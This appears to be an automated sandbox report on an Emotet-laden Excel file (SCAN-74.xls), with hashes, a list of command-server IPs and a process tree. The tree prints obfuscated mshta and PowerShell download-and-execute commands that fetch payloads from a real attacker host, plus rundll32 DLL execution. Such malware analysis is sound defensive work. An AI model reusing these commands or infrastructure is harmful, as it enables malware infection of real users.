Analysis
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max time kernel
120s -
max time network
149s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
28-01-2022 00:48
Behavioral task
behavioral1
Sample
SCAN-74.xls
Resource
win7-en-20211208
General
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Target
SCAN-74.xls
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Size
35KB
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MD5
c3c19d227a528abe26dc59f5109997b7
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SHA1
c26a2757790ad66b73538b8fd2bf08b1855a31e7
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SHA256
70a49284d261452b35907b59ad86f74aad575f751a510320d0aa3464e0cc5ce6
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SHA512
8453550fa8218a7036535bf0a63b5c67697b5c00059f90e16da722405b075af6d82945546d2bdfa6f42c304b04e19151371d1beee61c68d712323e26c0fa9818
Malware Config
Extracted
http://91.240.118.168/oo/aa/se.html
Extracted
http://91.240.118.168/oo/aa/se.png
Extracted
emotet
Epoch5
159.69.43.124:8080
45.79.80.198:443
207.148.81.119:8080
128.199.192.135:8080
118.98.72.86:443
217.182.143.207:443
168.197.250.14:80
116.124.128.206:8080
78.46.73.125:443
185.148.168.15:8080
195.154.146.35:443
85.214.67.203:8080
194.9.172.107:8080
59.148.253.194:443
210.57.209.142:8080
54.38.242.185:443
195.77.239.39:8080
159.69.237.188:443
104.131.62.48:8080
62.171.178.147:8080
142.4.219.173:8080
66.42.57.149:443
78.47.204.80:443
190.90.233.66:443
54.37.228.122:443
185.168.130.138:443
191.252.103.16:80
37.59.209.141:8080
185.148.168.220:8080
37.44.244.177:8080
203.153.216.46:443
45.13.132.26:8080
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
CMD.EXEdescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3600 2524 CMD.EXE EXCEL.EXE -
Blocklisted process makes network request 5 IoCs
Processes:
mshta.exepowershell.exerundll32.exeflow pid process 37 3168 mshta.exe 40 4020 powershell.exe 42 4020 powershell.exe 44 4020 powershell.exe 49 3604 rundll32.exe -
Downloads MZ/PE file
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Loads dropped DLL 2 IoCs
Processes:
rundll32.exerundll32.exepid process 1656 rundll32.exe 2868 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Pikqrcegsbckj\tpsivpoelbmo.ulg rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 2100 3168 WerFault.exe mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2524 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 19 IoCs
Processes:
powershell.exeWerFault.exerundll32.exepid process 4020 powershell.exe 4020 powershell.exe 2100 WerFault.exe 2100 WerFault.exe 2100 WerFault.exe 2100 WerFault.exe 2100 WerFault.exe 2100 WerFault.exe 2100 WerFault.exe 2100 WerFault.exe 2100 WerFault.exe 2100 WerFault.exe 2100 WerFault.exe 2100 WerFault.exe 2100 WerFault.exe 2100 WerFault.exe 4020 powershell.exe 3604 rundll32.exe 3604 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exeWerFault.exedescription pid process Token: SeDebugPrivilege 4020 powershell.exe Token: SeDebugPrivilege 2100 WerFault.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
EXCEL.EXEpid process 2524 EXCEL.EXE 2524 EXCEL.EXE 2524 EXCEL.EXE 2524 EXCEL.EXE 2524 EXCEL.EXE 2524 EXCEL.EXE 2524 EXCEL.EXE 2524 EXCEL.EXE 2524 EXCEL.EXE 2524 EXCEL.EXE 2524 EXCEL.EXE 2524 EXCEL.EXE 2524 EXCEL.EXE -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exedescription pid process target process PID 2524 wrote to memory of 3600 2524 EXCEL.EXE CMD.EXE PID 2524 wrote to memory of 3600 2524 EXCEL.EXE CMD.EXE PID 3600 wrote to memory of 3168 3600 CMD.EXE mshta.exe PID 3600 wrote to memory of 3168 3600 CMD.EXE mshta.exe PID 3168 wrote to memory of 4020 3168 mshta.exe powershell.exe PID 3168 wrote to memory of 4020 3168 mshta.exe powershell.exe PID 4020 wrote to memory of 1728 4020 powershell.exe cmd.exe PID 4020 wrote to memory of 1728 4020 powershell.exe cmd.exe PID 1728 wrote to memory of 1656 1728 cmd.exe rundll32.exe PID 1728 wrote to memory of 1656 1728 cmd.exe rundll32.exe PID 1728 wrote to memory of 1656 1728 cmd.exe rundll32.exe PID 1656 wrote to memory of 2868 1656 rundll32.exe rundll32.exe PID 1656 wrote to memory of 2868 1656 rundll32.exe rundll32.exe PID 1656 wrote to memory of 2868 1656 rundll32.exe rundll32.exe PID 2868 wrote to memory of 2596 2868 rundll32.exe rundll32.exe PID 2868 wrote to memory of 2596 2868 rundll32.exe rundll32.exe PID 2868 wrote to memory of 2596 2868 rundll32.exe rundll32.exe PID 2596 wrote to memory of 3604 2596 rundll32.exe rundll32.exe PID 2596 wrote to memory of 3604 2596 rundll32.exe rundll32.exe PID 2596 wrote to memory of 3604 2596 rundll32.exe rundll32.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SCAN-74.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\CMD.EXECMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\mshta.exemshta http://91.240.118.168/oo/aa/se.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Pikqrcegsbckj\tpsivpoelbmo.ulg",fsBAlzAZx8⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Pikqrcegsbckj\tpsivpoelbmo.ulg",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3168 -s 23244⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\ProgramData\QWER.dllMD5
d7653fa9b638f6d41d1f76ed3025a875
SHA1f6207008ab3abf05e7b99d5c43d39abd4823fa35
SHA2561d32000ec966eefc949fcc8a3e7bac4954a19c08f18b340a41f8f3ee27b8447e
SHA512393bfb905c740e4ed690a4951c4ad357cea5817ae5f1b99fb811031e0af20b9b3f94984b840ddc8e8fda502e9d2fcab8bf7806581399c7ee3d8092354b1eaa10
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\ProgramData\QWER.dllMD5
d7653fa9b638f6d41d1f76ed3025a875
SHA1f6207008ab3abf05e7b99d5c43d39abd4823fa35
SHA2561d32000ec966eefc949fcc8a3e7bac4954a19c08f18b340a41f8f3ee27b8447e
SHA512393bfb905c740e4ed690a4951c4ad357cea5817ae5f1b99fb811031e0af20b9b3f94984b840ddc8e8fda502e9d2fcab8bf7806581399c7ee3d8092354b1eaa10
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\ProgramData\QWER.dllMD5
d7653fa9b638f6d41d1f76ed3025a875
SHA1f6207008ab3abf05e7b99d5c43d39abd4823fa35
SHA2561d32000ec966eefc949fcc8a3e7bac4954a19c08f18b340a41f8f3ee27b8447e
SHA512393bfb905c740e4ed690a4951c4ad357cea5817ae5f1b99fb811031e0af20b9b3f94984b840ddc8e8fda502e9d2fcab8bf7806581399c7ee3d8092354b1eaa10
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memory/1656-332-0x0000000004F80000-0x0000000004FA7000-memory.dmpFilesize
156KB
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memory/2524-391-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmpFilesize
64KB
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memory/2524-128-0x00007FF937180000-0x00007FF937190000-memory.dmpFilesize
64KB
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memory/2524-129-0x00007FF937180000-0x00007FF937190000-memory.dmpFilesize
64KB
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memory/2524-392-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmpFilesize
64KB
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memory/2524-119-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmpFilesize
64KB
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memory/2524-390-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmpFilesize
64KB
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memory/2524-389-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmpFilesize
64KB
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memory/2524-115-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmpFilesize
64KB
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memory/2524-118-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmpFilesize
64KB
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memory/2524-117-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmpFilesize
64KB
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memory/2524-116-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmpFilesize
64KB
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memory/2596-346-0x0000000002C40000-0x0000000002C67000-memory.dmpFilesize
156KB
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memory/2868-343-0x0000000004C50000-0x0000000004C77000-memory.dmpFilesize
156KB
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memory/2868-349-0x0000000004E60000-0x0000000004E87000-memory.dmpFilesize
156KB
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memory/2868-337-0x0000000004A30000-0x0000000004A57000-memory.dmpFilesize
156KB
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memory/2868-339-0x0000000004B10000-0x0000000004B37000-memory.dmpFilesize
156KB
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memory/2868-341-0x0000000004BF0000-0x0000000004C17000-memory.dmpFilesize
156KB
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memory/2868-335-0x0000000004530000-0x0000000004557000-memory.dmpFilesize
156KB
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memory/2868-345-0x0000000004CB0000-0x0000000004CD7000-memory.dmpFilesize
156KB
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memory/3604-350-0x0000000003250000-0x0000000003277000-memory.dmpFilesize
156KB
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memory/4020-322-0x000002515CD00000-0x000002515CE50000-memory.dmpFilesize
1.3MB
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memory/4020-309-0x0000025175710000-0x0000025175786000-memory.dmpFilesize
472KB
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memory/4020-298-0x0000025175200000-0x000002517523C000-memory.dmpFilesize
240KB
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memory/4020-285-0x000002515CD00000-0x000002515CE50000-memory.dmpFilesize
1.3MB
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memory/4020-284-0x000002515CD00000-0x000002515CE50000-memory.dmpFilesize
1.3MB
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memory/4020-277-0x000002515CDE0000-0x000002515CE02000-memory.dmpFilesize
136KB